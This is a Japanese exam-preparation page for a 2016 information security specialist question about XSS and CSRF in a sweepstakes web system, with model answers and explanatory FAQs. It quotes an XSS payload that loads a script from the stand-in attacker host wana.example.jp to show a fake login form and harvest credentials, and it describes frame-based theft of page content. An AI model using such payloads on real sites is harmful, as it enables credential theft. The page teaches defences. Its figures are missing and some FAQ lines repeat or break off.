情報処理安全確保支援士 2016年 春期 午後1 問01
Webシステムの開発に関する次の記述を読んで、設問1~3に答えよ。
L社は、ソフトウェア受託開発企業である。このたびL社は、食品製造会社M社から、M社製品の宣伝目的で行う懸賞への応募受付を主要機能とするWebシステム(以下、懸賞システムという)の開発を受託した。懸賞システムの開発プロジェクトのリーダには、L社開発部のJ主任が任命された。
〔画面と遷移〕
L社では、懸賞システムの画面と遷移について、図1の案を作成した。

図1中の画面のURLのホスト部は、全てkensho.m-sha.co.jpであり、パス部は画面ごとに異なっている。ここで、m-sha.co.jpはM社のドメイン名である。
図1中の矢印で示す画面遷移時に受け渡すパラメタを表1に示す。ただし、セッション維持に関するパラメタは省略している。

〔脆弱性の発見〕
L社では、画面遷移についてM社の承認を得た後、順調に開発を進め、総合試験に進んだ。総合試験の一部である脆弱性検査については、セキュリティ専門業者のF社に依頼した。検査後、F社からL社に対して図2の報告があった。



〔XSS脆弱性の説明と修正〕
次は、脆弱性検査の報告会での、J主任とF社の検査員Nさんとの質疑応答である。
J主任:XSS脆弱性は、入力値を細工すると警告ダイアログを表示できるという脆弱性ですよね。
Nさん:XSS脆弱性の影響は、警告ダイアログの表示だけではありません。例えば、攻撃者は、URLパラメタであるkeywordに攻撃用の文字列として<script src="https://wana.example.jp/Login.js"></script>を組み込んだhttps://kensho.m-sha.co.jp/Gamen2_2へのリンクを含む電子メールを作成し、被害者に送付します。被害者がそのリンクをクリックした場合、図3の画面2-2ではなく、図5のように改変された画面2-2'が表示されます。このときのhttps://wana.example.jp/Login.jsのスクリプトは、図6のとおりです。


Nさん:被害者が画面2-2'でメンバIDとパスワードを入力すると、それらはaというホスト名のWebサーバに送信されます。この場合、画面2-2'が表示された時点で、被害者が偽のログインフォームだと気付くかというと、それは難しいでしょう。
J主任:なるほど。こんな被害が発生するのですね。
Nさん:XSS脆弱性を使った他の攻撃例も紹介しましょう。Webブラウザには、bという仕組みが実装されているので、仮に、懸賞システムのコンテンツと、攻撃者が用意したWebサーバ上に置いてある攻撃者のコンテンツの両方を、フレームを使用して、Webブラウザ上で同一画面に表示したとしても、攻撃者のコンテンツ内のスクリプトで、懸賞システムのコンテンツを参照することはできません。しかし、図7のHTMLソースコードでは、bが役立ちません。攻撃者が用意したhttps://wana.example.jp/getFrame.jsというスクリプトで、3行目のフレームの内容を参照することができるので、その内容を攻撃者が用意したWebサーバに簡単に送信できます。

Nさん:攻撃者が、自分のWebサーバ上にスクリプトを用意し、図7のHTMLソースコードへのリンクを電子メールで送信するなどして、そのHTMLソースコードを被害者のWebブラウザに読み込ませることによって、①画面3-7の表示内容が窃取される可能性があります。
J主任:そう考えると、懸賞システムの全ての画面で、表示される情報が窃取される危険性がありますね。
L社は、XSS脆弱性が存在するソースコードを修正した。
〔CSRF対策の説明と懸賞システムの修正〕
Nさんが引き続きCSRF対策について説明した内容を、図8に示す。

Nさんの説明を受けて、L社では懸賞システムについて、CSRF対策を行う画面遷移と行わない画面遷移を、表2のように決定した。

〔再発防止策の検討〕
M社では、無事、懸賞システムの運用を開始したものの、J主任は、脆弱性が作り込まれないよう再発防止策が必要であると考えた。図9は懸賞システムの開発開始時点の、L社のWebアプリケーション開発ガイドライン(以下、ガイドラインという)である。

今回、XSS脆弱性の原因となった図4のソースコードを作成したT君に事情を聞いたところ、“②画面2-1においてWebブラウザ側のスクリプトで入力値を検査していたので、URLパラメタであるkeywordの値を信頼できるデータと判断して、出力データの生成にそのまま使用した”と答えた。
J主任は、信頼できるデータの定義を厳密に定めようと、Nさんに相談した。この時のNさんの回答を、図10に示す。

J主任は、他の脆弱性に関する調査も進め、ガイドラインを修正した。このガイドラインによって、その後L社では、セキュリティについての品質が向上した。
設問1:〔XSS脆弱性の説明と修正〕について、(1)〜(5)に答えよ。
(1)本文中のaに入れる適切な字句を、FQDNで答えよ。
模範解答
a:wana.example.jp
解説
解答の論理構成
- 【問題文】の会話で検査員Nさんは
“被害者が画面2-2'でメンバIDとパスワードを入力すると、それらはaというホスト名のWebサーバに送信されます。”
と説明しています。 - 同じ会話内で、偽フォームを生成する外部スクリプトとして
“”
と明示されています。 - さらに図6の 4 行目には
action="https://wana.example.jp/login"
が提示されており、送信先ホストが一致していることが分かります。 - 以上から、空欄 a には「wana.example.jp」という FQDN を入れるのが妥当です。
誤りやすいポイント
- “example.jp” 部分を企業ドメインなどに書き換えてしまう
(数字・固有名詞は正確に引用する必要があります)。 - “https://” を含めてしまい、ホスト名だけを答えるという指示を見落とす。
- 図6では「/login」まで書かれているため、パスを含めて記述してしまう。
FAQ
Q: URL 全体ではなくホスト名だけを答えるのはなぜですか?
A: 設問が “aというホスト名” と述べているため、パスやスキームは不要です。
A: 設問が “aというホスト名” と述べているため、パスやスキームは不要です。
Q: “wana.example.jp” と “www.example.jp” を混同しやすいのですが?
A: スクリプトやフォームの送信先に明示されている文字列が “wana.example.jp” なので、そのまま引用します。
A: スクリプトやフォームの送信先に明示されている文字列が “wana.example.jp” なので、そのまま引用します。
Q: “example.jp” なので実在しないのでは?
A: 演習用ドメインとして用いられており、実在の有無は解答には影響しません。
A: 演習用ドメインとして用いられており、実在の有無は解答には影響しません。
関連キーワード: XSS, フィッシング、FQDN, ホスト名、URL
設問1:〔XSS脆弱性の説明と修正〕について、(1)〜(5)に答えよ。
(2)画⾯2-2'を表⽰した時点で、Webブラウザのアドレスバーに表⽰されるURLのホスト部を、FQDNで答えよ。
模範解答
kensho.m-sha.co.jp
解説
解答の論理構成
- 問題文では攻撃者が送付するリンクについて
― “を組み込んだ**https://kensho.m-sha.co.jp/Gamen2_2**へのリンクを含む電子メールを作成”
と明示されています。 - 被害者がリンクをクリックした結果
― “被害者がそのリンクをクリックした場合、…改変された**画面2-2'**が表示されます。”
とあるように、表示コンテンツは書き換えられますがリダイレクトは発生していません。 - XSS はページ内部の DOM を改変する攻撃であり、URL 自体を変更しない限りブラウザのアドレスバーはリンク先のホスト部を保持します。
- したがって、画面2-2'表示時のアドレスバーにはリンク先のホスト “kensho.m-sha.co.jp” が残ります。
誤りやすいポイント
- スクリプトを取得している “wana.example.jp” を答えてしまう。外部スクリプトの読み込み先とアドレスバーの表示は無関係です。
- フレームやリダイレクトを用いたフィッシングと混同し、「別サイトに遷移しているはずだ」と思い込む。XSS ではページ遷移せずに内容だけ書き換えられる場合があります。
- FQDN ではなくサブディレクトリを含めた全文字列や、逆に “m-sha.co.jp” と途中で切ってしまう。設問は「ホスト部を、FQDNで」と指定しています。
FAQ
Q: 外部スクリプト “https://wana.example.jp/Login.js” を読み込んだのに、どうしてアドレスバーは変わらないのですか?
A: スクリプトは のままだからです。読み込んだスクリプトが DOM を操作しても URL は書き換えられません。
A: スクリプトは のままだからです。読み込んだスクリプトが DOM を操作しても URL は書き換えられません。
Q: アドレスバーが変わらないなら、ユーザはどこを見て偽装に気付けばよいのでしょうか?
A: 通常は気付きにくいため、入力値をサーバ側で正しくエスケープするなど、そもそも XSS 脆弱性を埋め込まないことが最重要です。
A: 通常は気付きにくいため、入力値をサーバ側で正しくエスケープするなど、そもそも XSS 脆弱性を埋め込まないことが最重要です。
Q: 同一オリジンポリシーがあるのに、外部スクリプトからフォーム送信ができるのですか?
A: JavaScript から外部サイトへ HTTP リクエストを送ること(例:form action を他サイトに指定)はブラウザの同一オリジン制約の対象外です。そのため攻撃者は被害サイト上で自由にフォームを生成し、別ドメインへ送信できます。
A: JavaScript から外部サイトへ HTTP リクエストを送ること(例:form action を他サイトに指定)はブラウザの同一オリジン制約の対象外です。そのため攻撃者は被害サイト上で自由にフォームを生成し、別ドメインへ送信できます。
関連キーワード: XSS, FQDN, 同一オリジンポリシー、DOM操作
設問1:〔XSS脆弱性の説明と修正〕について、(1)〜(5)に答えよ。
(3)本⽂中のbに⼊れる適切な字句を解答群の中から選び、記号で答えよ。
解答群
ア:Asynchronous JavaScript +XML
イ:HTTP Strict TransportSecurity
ウ:JavaScript Object Notation
エ:Same Origin Policy
模範解答
b:エ
解説
解答の論理構成
- 問題文には次の記述があります。
Webブラウザには、bという仕組みが実装されているので、仮に、懸賞システムのコンテンツと、攻撃者が用意したWebサーバ上に置いてある攻撃者のコンテンツの両方を、フレームを使用して、Webブラウザ上で同一画面に表示したとしても、攻撃者のコンテンツ内のスクリプトで、懸賞システムのコンテンツを参照することはできません。
- ここで述べられている「同一画面に表示しても、スクリプトから他方の内容を参照できない」というブラウザの制限は、ドメイン・プロトコル・ポートが異なる場合に働く同一生成元ポリシーの説明と一致します。
- 解答群を確認すると、同一生成元ポリシーに該当する選択肢は
エ:SameOriginPolicy
だけです。 - したがって、bに入る適切な字句は 「SameOriginPolicy」、記号は エ となります。
誤りやすいポイント
- 「HTTPStrictTransportSecurity」を選ぶ誤り
ブラウザが HTTPS への強制リダイレクトを行う仕組みであり、フレーム間アクセス制御とは無関係です。 - 「AsynchronousJavaScript+XML」や「JavaScriptObjectNotation」を選ぶ誤り
技術名称は似ていても、どちらもデータ通信手法・データ形式であり、アクセス制御機構ではありません。 - 「クロスドメインでデータを取れない=CORS」と短絡し、選択肢にない用語を思い浮かべてしまうこと。CORS は例外的にアクセスを許可する仕組みであり、基本制限を課すのは SameOriginPolicy です。
FAQ
Q: SameOriginPolicy はフレームだけに適用されるのですか?
A: いいえ。フレームや window.open() で開いた別ウインドウ、XMLHttpRequest など、JavaScript から別オリジンへアクセスする多くの場面で適用されます。
A: いいえ。フレームや window.open() で開いた別ウインドウ、XMLHttpRequest など、JavaScript から別オリジンへアクセスする多くの場面で適用されます。
Q: SameOriginPolicy があるのに、なぜ XSS で情報を盗めるのですか?
A: XSS 攻撃では 悪意あるスクリプトを被害サイトと同一オリジンで実行させるため、制限を回避できてしまいます。したがって入力値の適切なエスケープが不可欠です。
A: XSS 攻撃では 悪意あるスクリプトを被害サイトと同一オリジンで実行させるため、制限を回避できてしまいます。したがって入力値の適切なエスケープが不可欠です。
Q: フレームを使わなければ安全ですか?
A: いいえ。XSS や CSRF はフレームを使わなくても発生します。フレームは攻撃の一手段にすぎませんので、根本的な対策(入力値検証・出力時エスケープ・CSRFトークン付与など)が重要です。
A: いいえ。XSS や CSRF はフレームを使わなくても発生します。フレームは攻撃の一手段にすぎませんので、根本的な対策(入力値検証・出力時エスケープ・CSRFトークン付与など)が重要です。
関連キーワード: Same-Origin Policy, XSS, DOM, CSRF, iframe
設問1:〔XSS脆弱性の説明と修正〕について、(1)〜(5)に答えよ。
(4)図7中のc、dに⼊れる適切な字句を答えよ。
模範解答
c:https://kensho.m-sha.co.jp/Gamen2_2
d:keyword
解説
解答の論理構成
- 図2の報告では「画面2-1から画面2-2への遷移において、クロスサイトスクリプティング(以下、XSSという)脆弱性を発見した」と指摘され、図4のソースコード 6 行目で req.getParameter("keyword") を取得し、10 行目で無加工表示しているため「keyword」パラメタが攻撃面であることが分かります。
- また質疑応答で N さんは「攻撃者は、URLパラメタである keyword に攻撃用の文字列を組み込んだ https://kensho.m-sha.co.jp/Gamen2_2 へのリンクを…」と説明しています。ここから、脆弱な画面は「https://kensho.m-sha.co.jp/Gamen2_2」であり、攻撃対象パラメタは「keyword」だと確定します。
- 図7の行4は c?d=<script …> という形で、脆弱ページに対し XSS ペイロードを埋め込むための URL を組み立てる部分です。従って
• c には「https://kensho.m-sha.co.jp/Gamen2_2」
• d には攻撃対象であるパラメタ名「keyword」
を入れることで、質疑応答と完全に一致する攻撃 URL が完成します。
誤りやすいポイント
- 画面3‐7を表示する URL と混同し、Gamen3_7 を入れてしまう。図7の行3で既に使用済みな点に注意すべきです。
- パラメタ名を「kw」と略記してしまう。図4のソースコードでローカル変数が kw でも、受信パラメタ名は keyword です。
- フルパスではなく相対パス /Gamen2_2 と書くミス。図7 は攻撃者サーバから直接参照されるのでスキーム・ホストを含む完全 URL が必要です。
FAQ
Q: なぜ keyword が XSS の攻撃面と分かるのですか?
A: 図4で req.getParameter("keyword") を取得し、エスケープなしで出力しているためです。質疑応答でも N さんが「URLパラメタである keyword に攻撃用の文字列を…」と明示しています。
A: 図4で req.getParameter("keyword") を取得し、エスケープなしで出力しているためです。質疑応答でも N さんが「URLパラメタである keyword に攻撃用の文字列を…」と明示しています。
Q: Gamen2_2 の前にパスを書かずホスト名から始める理由は?
A: 図7の HTML は攻撃者サイトから読み込まれる想定です。ブラウザが別ホストへアクセスするため、スキーム https:// とホスト名 kensho.m-sha.co.jp を含む完全修飾 URL を書く必要があります。
A: 図7の HTML は攻撃者サイトから読み込まれる想定です。ブラウザが別ホストへアクセスするため、スキーム https:// とホスト名 kensho.m-sha.co.jp を含む完全修飾 URL を書く必要があります。
Q: 他の画面にも同じ XSS 攻撃は可能ですか?
A: 入力値を無加工で出力している箇所があれば同様の危険があります。今回たまたま検出されたのが Gamen2_2 というだけで、全画面を点検することが推奨されます。
A: 入力値を無加工で出力している箇所があれば同様の危険があります。今回たまたま検出されたのが Gamen2_2 というだけで、全画面を点検することが推奨されます。
関連キーワード: クロスサイトスクリプティング、URLパラメータ、フレームセット攻撃、パラメタバリデーション
設問1:〔XSS脆弱性の説明と修正〕について、(1)〜(5)に答えよ。
(5)本⽂中の下線①の窃取が成功するのは、懸賞システムにおいて、被害者がどのような状態にあるときか。20字以内で述べよ。
模範解答
懸賞メンバとしてログインしている状態
解説
解答の論理構成
- 攻撃者が窃取したいのは「①画面3-7の表示内容」です。
【問題文引用】
Nさん:攻撃者が…そのHTMLソースコードを被害者のWebブラウザに読み込ませることによって、①画面3-7の表示内容が窃取される可能性があります。 - 図7のタグで読み込まれる URL はhttps://kensho.m-sha.co.jp/Gamen3_7 です。
【問題文引用】
注記 https://kensho.m-sha.co.jp/Gamen3_7は、図1の画面3-7を表示する際のURLである。 - 画面3-7 は会員の「住所」「氏名」などを修正する機能で、ログイン後のマイページ配下(画面3-3~3-9)に属します。
- これらマイページ配下の URL については、ログインしていないと強制的にトップページへリダイレクトされます。
【問題文引用】
注記2:ログインしていない状態で画面3-3~画面3-9のURLを指定した場合は、画面1-1へリダイレクトされる。 - よって「画面3-7の内容がブラウザに表示されている=被害者が懸賞メンバとしてセッションを確立している」ことが前提です。
- 以上から、窃取が成功する条件は「懸賞メンバとしてログインしている状態」となります。
誤りやすいポイント
- 「フレームで読み込むだけだからログイン不要」と誤解しやすいが、実際にはサーバ側で認証チェックが行われるため表示されない。
- 「トップページの情報なら窃取できるのでは」と考えがちだが、攻撃対象はログイン後画面なのでセッション有無が決定的。
- 同一生成画面であっても、URL 直打ちで見られるページとセッション必須ページを区別し忘れると判断を誤る。
FAQ
Q: ログイン直後に自動ログアウトされた場合でも窃取は成立しますか?
A: セッションが切れていれば画面3-7は表示できずトップページへリダイレクトされるため、窃取は成立しません。
A: セッションが切れていれば画面3-7は表示できずトップページへリダイレクトされるため、窃取は成立しません。
Q: ログイン状態でも CSRF トークンがあれば防げますか?
A: この窃取はフレーム越しに「表示内容」を抜き取る攻撃であり、CSRF トークンは送信操作の偽装を防ぐ仕組みなので直接の防御にはなりません。
A: この窃取はフレーム越しに「表示内容」を抜き取る攻撃であり、CSRF トークンは送信操作の偽装を防ぐ仕組みなので直接の防御にはなりません。
Q: HTTPS を使っていれば解決しますか?
A: 通信経路の盗聴は防げますが、同一ブラウザ内でフレームを悪用する XSS 由来の情報窃取は HTTPS でも発生します。
A: 通信経路の盗聴は防げますが、同一ブラウザ内でフレームを悪用する XSS 由来の情報窃取は HTTPS でも発生します。
関連キーワード: XSS, セッション管理、Same-Origin Policy, フレーム、情報窃取
設問2:〔CSRF対策の説明と懸賞システムの修正〕について、(1)、(2)に答えよ。
(1)図8中のe、fに⼊れる適切な字句を、それぞれ10字以内で答えよ。
模範解答
e:ランダムな値
f:hidden
解説
解答の論理構成
- 図8は「CSRF対策に関する説明」を示しています。
(2)の実装ルールに
――「前画面で、HTMLフォーム内にeをfフィールドの値として埋め込む。」
――「画面遷移時に受信したデータが、埋め込んだeと一致するかを確認する。」
とあります。 - CSRF対策では、利用者の意図しないリクエストかどうかを判断するために“予測不能な値”をフォームに埋め込み、次画面で一致確認を行う方法(Synchronizer Token Pattern)が基本です。
- ここで求められる“予測不能な値”は、セッション毎・リクエスト毎に生成して攻撃者が推測できないようにする必要があります。これを説明する最も一般的な語は「ランダムな値」です。したがってe=「ランダムな値」となります。
- トークンをユーザに見せずに送信させるため、フォームではを用います。設問はその属性名を答えさせているので、f=「hidden」が正解です。
誤りやすいポイント
- 「セッションID」をそのままeに使うと考えると失点します。図8は“前画面で埋め込み、次画面で一致確認”と書かれており、セッションIDは既にCookieで送信されているため趣旨が異なります。
- fを「テキスト」や「submit」と記入する誤答が散見されます。トークンをユーザが目視できないようにする目的を忘れると選択を誤ります。
- 一致確認の手順だけを覚えていて、トークン自体の「予測不能性」を軽視すると、eに「固定値」「ハッシュ値」など不適切な語を入れてしまいます。
FAQ
Q: ランダムならUUIDなど規則性のある形式でも良いですか?
A: はい。攻撃者が事前に推測できない値であればUUID、SecureRandomで生成した文字列など形式は問いません。
A: はい。攻撃者が事前に推測できない値であればUUID、SecureRandomで生成した文字列など形式は問いません。
Q: hidden以外の方法でトークンを送る実装は認められますか?
A: HTTPヘッダに独自トークンを載せる方式などもありますが、図8が示す“HTMLフォーム内”という条件下ではhiddenフィールドが最適解です。
A: HTTPヘッダに独自トークンを載せる方式などもありますが、図8が示す“HTMLフォーム内”という条件下ではhiddenフィールドが最適解です。
Q: トークンをCookieとhiddenの両方に入れ、ブラウザ同士で照合する二重送信トークン方式でも良いですか?
A: それもCSRF対策として有効ですが、図8の設問はシンプルなSynchronizer Token Patternを前提にしているため、hiddenフィールドのみで解答します。
A: それもCSRF対策として有効ですが、図8の設問はシンプルなSynchronizer Token Patternを前提にしているため、hiddenフィールドのみで解答します。
関連キーワード: CSRF, トークン、ランダム値、フォーム送信、セッション
設問2:〔CSRF対策の説明と懸賞システムの修正〕について、(1)、(2)に答えよ。
(2)表2中のg 、hに入れる記号の適切な組合せを、解答群の中から選び、記号で答えよ。

模範解答
ウ
解説
解答の論理構成
- CSRF対策が必要な画面遷移
– 図8では「POSTメソッドによるアクセスだけを用いる」と示されており、さらに CSRF は「利用者の意思に反してサーバ側の状態を変更させる攻撃」なので、 • サーバに“登録”“修正”“応募”などの更新要求を送る遷移は対策対象
• 検索や一覧表示など“読み取り系”の遷移は対象外 - 各遷移の性質を確認(図1・表1引用)
① (く)応募必要事項送信:表1で「応募必要事項」を渡す ⇒ 応募データを新規登録する更新系
② (し)住所等送信、(す)住所等確認:表1で「住所、氏名、…」を渡す ⇒ 会員情報を修正する更新系
③ (い)キーワード検索:表1で「キーワード」を渡すのみ ⇒ 読み取り系
④ (さ)登録情報修正画面の表示、(せ)修正完了 → トップ画面:いずれも hidden やパラメタ無し(表1「なし」)で状態変更はなし - 以上より
• CSRF対策を行うg=更新系③を除いた(く)(し)(す)
• CSRF対策を行わないh=読み取り系&表示系(い)(さ)(せ) - 解答群と照合
– 行「ウ」:g 列=「(く)、(し)、(す)」/h 列=「(い)、(さ)、(せ)」
– 他の行は g と h が逆、又は不要な遷移を含む
よって「ウ」が適切。
誤りやすいポイント
・「hidden フィールドがある=常に更新系」と早合点し、(せ)を g に入れてしまう
・(さ)を“修正”ボタンがある画面と混同して更新系と誤判断する
・(い)を GET か POST で判断せずに「入力値があるから対策」と思い込む
・(す)は確認画面だと油断して h に入れてしまう(確認画面でも最終的に更新要求を POST するため対策対象)
・(さ)を“修正”ボタンがある画面と混同して更新系と誤判断する
・(い)を GET か POST で判断せずに「入力値があるから対策」と思い込む
・(す)は確認画面だと油断して h に入れてしまう(確認画面でも最終的に更新要求を POST するため対策対象)
FAQ
Q: 確認画面((す)など)でも CSRF 対策が必要なのですか?
A: 図1では(す)で「住所」「氏名」等を hidden で送信後、画面3-9 で更新が確定します。hidden の POST でも攻撃者がリクエストを代行できるため対策が必要です。
A: 図1では(す)で「住所」「氏名」等を hidden で送信後、画面3-9 で更新が確定します。hidden の POST でも攻撃者がリクエストを代行できるため対策が必要です。
Q: (さ)は「登録情報修正」ボタンなので更新系に見えますが?
A: (さ)は“修正画面の表示”だけでサーバ状態は変わりません(表1「なし」)。実際に変更を送るのは(し)(す)なので、(さ)は CSRF 対策不要です。
A: (さ)は“修正画面の表示”だけでサーバ状態は変わりません(表1「なし」)。実際に変更を送るのは(し)(す)なので、(さ)は CSRF 対策不要です。
Q: 「キーワード検索」(い)は POST にすれば CSRF 対策が必要になりますか?
A: 検索はサーバ状態を変更しないので通常は対策不要です。POST 方式にしても「攻撃者に悪用されても被害が発生しない」処理であれば実装コストを抑えられます。
A: 検索はサーバ状態を変更しないので通常は対策不要です。POST 方式にしても「攻撃者に悪用されても被害が発生しない」処理であれば実装コストを抑えられます。
関連キーワード: CSRF, 状態変更、POSTメソッド、画面遷移、入力検証
設問3:〔再発防止策の検討〕について、(1)〜(3)に答えよ。
(1)本⽂中の下線②の検査では、攻撃を防御する上で効果を発揮しない理由を、40字以内で具体的に述べよ。
模範解答
攻撃者は、画面2-1を経由させずに直接画面2-2へアクセスさせるから
解説
解答の論理構成
- 【問題文】では“②画面2-1においてWebブラウザ側のスクリプトで入力値を検査していた”とあります。これは「画面2-1」で クライアント側 の JavaScript が keyword を検証する方式です。
- しかし Nさんは、“攻撃者は、URLパラメタであるkeywordに攻撃用の文字列としてを組み込んだhttps://kensho.m-sha.co.jp/Gamen2_2へのリンクを含む電子メールを作成” と説明しています。
- つまり攻撃者は 「画面2-1」を経由せずに 被害者のブラウザを直接 “https://kensho.m-sha.co.jp/Gamen2_2” に遷移させ、keyword に悪意ある値を渡します。
- ブラウザ側検査は「画面2-1」にしか存在しないので、このバイパスを阻止できません。したがって下線②の検査は XSS 攻撃を防御できず、模範解答のとおりになります。
誤りやすいポイント
- サーバ側で再検証していると勘違いし、「十分な対策」と誤認する。
- 「画面2-1の検査=全遷移で有効」と思い込み、直接 URL 参照を見落とす。
- 「POST 送信なら安全」と短絡し、GET パラメータ経由の XSS を軽視する。
FAQ
Q: 画面2-1の検査をサーバ側に移せば防げますか?
A: サーバ側で keyword をサニタイズ・エスケープすれば、直接アクセスでも XSS を防止できます。
A: サーバ側で keyword をサニタイズ・エスケープすれば、直接アクセスでも XSS を防止できます。
Q: クライアント側検査は無意味なのでしょうか?
A: 入力ミスの早期通知などユーザビリティ面では有用ですが、セキュリティ対策としては必ずサーバ側検査と併用が必要です。
A: 入力ミスの早期通知などユーザビリティ面では有用ですが、セキュリティ対策としては必ずサーバ側検査と併用が必要です。
Q: GET を POST に変えるだけで XSS は防げますか?
A: 送信方法を変えてもブラウザはレスポンスをそのまま解釈します。出力時のエスケープが根本対策です。
A: 送信方法を変えてもブラウザはレスポンスをそのまま解釈します。出力時のエスケープが根本対策です。
関連キーワード: クロスサイトスクリプティング、クライアントサイド検証、サーバサイド検証、入力値サニタイズ、URLパラメータ
設問3:〔再発防止策の検討〕について、(1)〜(3)に答えよ。
(2)図10中のiに⼊れる適切な字句を、10字以内で答えよ。
模範解答
i:サーバサイド
解説
解答の論理構成
- 図9のガイドラインは「利用者が入力する値は、期待する入力値として正当かどうか検査すること」と規定していましたが、検査場所の明示がありませんでした。
- T君は“②「画面2-1においてWebブラウザ側のスクリプトで入力値を検査していた」ので、URLパラメタであるkeywordの値を信頼できるデータと判断”し、そのまま 10 行目で出力に使用したため XSS が発生しました。
- この経緯を踏まえ、N さんは図10で「入力値が正当かどうかを i で稼働するプログラムで確認する必要がある」と指摘しています。
- クライアント(Webブラウザ)側の検査はユーザ任意の JavaScript で迂回できるため、信頼できません。したがって検査は改ざんされにくいサーバで実施する必要があります。
- 以上より i に入る語は「サーバサイド」です。
誤りやすいポイント
- 「ブラウザ側検査で十分」と思い込み「クライアントサイド」と答えてしまう。
- JavaScript という実装言語名を書いてしまう。求められているのは検査を行う“場所”です。
- 「バックエンド」など曖昧な語を使い、原文のニュアンスとずれる。
FAQ
Q: クライアント側で入力チェックしてはいけないのですか?
A: UX向上のための簡易チェックは有効ですが、最終的な正当性確認は「サーバサイド」で行わなければ信頼できません。
A: UX向上のための簡易チェックは有効ですが、最終的な正当性確認は「サーバサイド」で行わなければ信頼できません。
Q: サーバサイド検証をしても XSS を完全に防げますか?
A: 入力検証は重要ですが、出力時エスケープなど多層防御が必要です。検証だけでは全ての XSS を防げません。
A: 入力検証は重要ですが、出力時エスケープなど多層防御が必要です。検証だけでは全ての XSS を防げません。
Q: フレームワークのバリデーション機能を使えば十分ですか?
A: 多くの場合有効ですが、仕様外の入力やカスタムフィールドもあるため、フレームワークに依存しすぎず設計段階から要件を明確にしてください。
A: 多くの場合有効ですが、仕様外の入力やカスタムフィールドもあるため、フレームワークに依存しすぎず設計段階から要件を明確にしてください。
関連キーワード: XSS, 入力値検証、サーバサイド、エスケープ、CSRF
設問3:〔再発防止策の検討〕について、(1)〜(3)に答えよ。
(3)図10中のjに⼊れる適切な字句を、5字以内で答えよ。
模範解答
j:URL
解説
解答の論理構成
- 図10の引用
「例えば、j を出力する箇所では、XSS脆弱性を防ぐために “javascript:” などの文字列を排除する必要がある。」
⇒ “javascript:” は やといったリンク先やリソース先を示す属性値で利用され、ここに悪意コードを混入させると XSS が成立します。
- href や src が表す値は URL であり、HTML 仕様上「javascript:」「data:」などのスキームも許容されます。したがって、XSS 対策としてスキーム単位のホワイトリスト検査が必要であるという文脈になります。
- よって j には「URL」を入れると文章が自然に成立し、XSS の注意点も正しく説明できます。
誤りやすいポイント
- href 属性 や リンク先 と答えると、「<>&”” を含まない文字列」の例示と合わず不自然になります。
- JavaScript と答えると、「“javascript:” などの文字列を排除する」という後半と意味が重複し、排除対象と出力対象が逆転します。
- XSS 脆弱性では「エスケープさえすれば安全」と誤認しがちですが、URL コンテキストではスキーム検査を行わないとエスケープだけでは防げません。
FAQ
Q: なぜ
Q: URL に対する代表的なフィルタ方法は?
A: http と https だけをホワイトリストで許可し、先頭を正規表現 ^https?:// でチェックする方法が一般的です。
A: http と https だけをホワイトリストで許可し、先頭を正規表現 ^https?:// でチェックする方法が一般的です。
Q: エスケープとホワイトリスト検査は併用すべきですか?
A: はい。まずコンテキストに応じたエスケープを行い、URL であればスキームホワイトリスト検査を追加することで多層防御になります。
A: はい。まずコンテキストに応じたエスケープを行い、URL であればスキームホワイトリスト検査を追加することで多層防御になります。
関連キーワード: クロスサイトスクリプティング、URLスキーム、入力値検証、ホワイトリスト、出力エスケープ


